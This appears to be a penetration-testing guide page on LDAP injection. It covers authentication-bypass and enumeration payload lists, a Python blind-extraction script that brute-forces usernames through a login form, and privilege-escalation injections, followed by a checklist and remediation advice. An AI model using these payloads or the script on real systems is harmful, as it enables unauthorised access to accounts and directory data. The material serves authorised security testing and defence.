Exploitation A03

LDAP Injection

LDAP injection occurs when user input is incorporated into LDAP queries without proper sanitization, allowing attackers to bypass authentication, enumerate directory information, and modify LDAP entries. This is common in enterprise applications that authenticate against Active Directory or OpenLDAP.

Warning

LDAP injection can modify directory entries or bypass authentication system-wide. Coordinate with the directory administrator before testing.

Understanding LDAP Queries

Search Filter: (&(uid=USERNAME)(userPassword=PASSWORD))

Operators: & (AND), | (OR), ! (NOT), * (wildcard)

Common Attributes: uid, cn, sn, mail, userPassword, memberOf

Base DN Example: dc=company,dc=com

Authentication Bypass

The standard LDAP login query (&(uid=USERNAME)(userPassword=PASSWORD)) can be manipulated using wildcard and logical operators. These payloads are injected into the username or password fields to alter the query logic.

Wildcard Bypass

Username: *  |  Password: anything

Query becomes: (&(uid=*)(userPassword=anything)) — returns all users, first match (often admin) grants access.

OR-Based Bypass

Username: alice)(|(uid=*  |  Password: anything

Query becomes: (&(uid=alice)(|(uid=*)(userPassword=anything))) — always true, authentication bypassed.

Null Password Bypass

Username: admin)(&)  |  Password: (empty)

Query becomes: (&(uid=admin)(&)(userPassword=))(&) evaluates to true in some LDAP implementations.

Filter Structure Bypass

Username: *)(uid=*))(|(uid=*  |  Password: anything

Breaks and rewrites the entire filter structure.

Quick Copy — All Auth Bypass Payloads
ldap-auth-bypass-payloads.txt
text
*
alice)(|(uid=*
admin)(&)
*)(uid=*))(|(uid=*
*
alice)(|(uid=*
admin)(&)
*)(uid=*))(|(uid=*

Data Extraction

If the application has a search field backed by LDAP, injecting filter syntax can enumerate users, groups, and attributes. Even when the app only shows a "found/not found" indicator, blind extraction is possible by testing one character at a time.

Search Field Injection

Inject these into any user-facing search or lookup field:

ldap-search-payloads.txt
text
*
*)(mail=*@company.com
*)(memberOf=cn=admins,dc=company,dc=com
*)(telephoneNumber=555*
*)(department=IT
*
*)(mail=*@company.com
*)(memberOf=cn=admins,dc=company,dc=com
*)(telephoneNumber=555*
*)(department=IT

Blind Extraction

When the app only returns yes/no (user exists or doesn't), narrow down values character by character:

admin* → match? → admini* → match? → administ* → … → administrator

Blind LDAP Injection

python
# When the application doesn't show LDAP results directly,
# use boolean-based blind techniques:

import requests
import string

url = 'https://target.com/login'
valid_chars = string.ascii_lowercase + string.digits + '_-.@'

def check_ldap(payload):
    resp = requests.post(url, data={
        'username': payload,
        'password': 'test'
    })
    return 'Welcome' in resp.text or resp.status_code == 302

# Extract admin username character by character
result = ''
for pos in range(20):  # Max 20 chars
    found = False
    for char in valid_chars:
        # Inject: admin_user starts with result+char
        payload = f'{result}{char}*)(uid={result}{char}*'
        if check_ldap(payload):
            result += char
            print(f'[+] Found: {result}')
            found = True
            break
    if not found:
        break

print(f'[+] Username: {result}')
# When the application doesn't show LDAP results directly,
# use boolean-based blind techniques:

import requests
import string

url = 'https://target.com/login'
valid_chars = string.ascii_lowercase + string.digits + '_-.@'

def check_ldap(payload):
    resp = requests.post(url, data={
        'username': payload,
        'password': 'test'
    })
    return 'Welcome' in resp.text or resp.status_code == 302

# Extract admin username character by character
result = ''
for pos in range(20):  # Max 20 chars
    found = False
    for char in valid_chars:
        # Inject: admin_user starts with result+char
        payload = f'{result}{char}*)(uid={result}{char}*'
        if check_ldap(payload):
            result += char
            print(f'[+] Found: {result}')
            found = True
            break
    if not found:
        break

print(f'[+] Username: {result}')

LDAP Modification Attacks

If the application performs LDAP write operations with user input (e.g., profile updates), injection into these can escalate privileges or modify other accounts. These attacks require the LDAP service account to have write permissions.

Add User to Admin Group

Inject into a profile field (e.g., description):

innocent)(memberOf=cn=Domain Admins,dc=company,dc=com

Modify Another User's Password

If LDAP modify operations accept user input:

Target DN: uid=admin,dc=company,dc=com

Attribute: userPassword → new value

Information

Write-based LDAP injection requires: (1) the LDAP bind account has write permissions, (2) user input reaches modify/add operations, and (3) no input sanitization before the LDAP call.

Testing Checklist

  1. 1. Test login forms with LDAP wildcard (*) as username
  2. 2. Test closing parenthesis injection: user)(&)
  3. 3. Test OR-based bypass: user)(|(uid=*
  4. 4. Test search fields for data extraction via wildcards
  5. 5. Test blind extraction if direct results not visible
  6. 6. Check for LDAP error messages indicating injection
  7. 7. Test special characters: * ( ) \ / NUL
  8. 8. Verify if the app connects to AD/LDAP (check login behavior, error messages)

Evidence Collection

Request/Response: Burp capture showing injection payload and successful authentication

Data Extracted: List of usernames, email addresses, or group memberships extracted

CVSS Range: Auth bypass: 8.6–9.8 | Data extraction: 6.5–7.5

Remediation

  • Escape special characters: Escape * ( ) \ / NUL in all user input before LDAP queries.
  • Use parameterized LDAP APIs: Use the framework's built-in LDAP filter escaping functions.
  • Least privilege binding: The LDAP service account should have read-only permissions for authentication.
  • Input validation: Reject input containing LDAP metacharacters where not needed.

False Positive Identification

  • Wildcard matches in normal usage: Some LDAP queries legitimately use wildcards — verify the injected filter actually changes the query logic, not just matches existing patterns.
  • Error messages ≠ injection: LDAP syntax errors in responses may indicate input reaches the query, but confirm you can extract data or bypass auth before reporting as exploitable.
  • Blind testing timing variance: Network latency can mimic time-based LDAP injection — use multiple iterations and compare against baseline timing.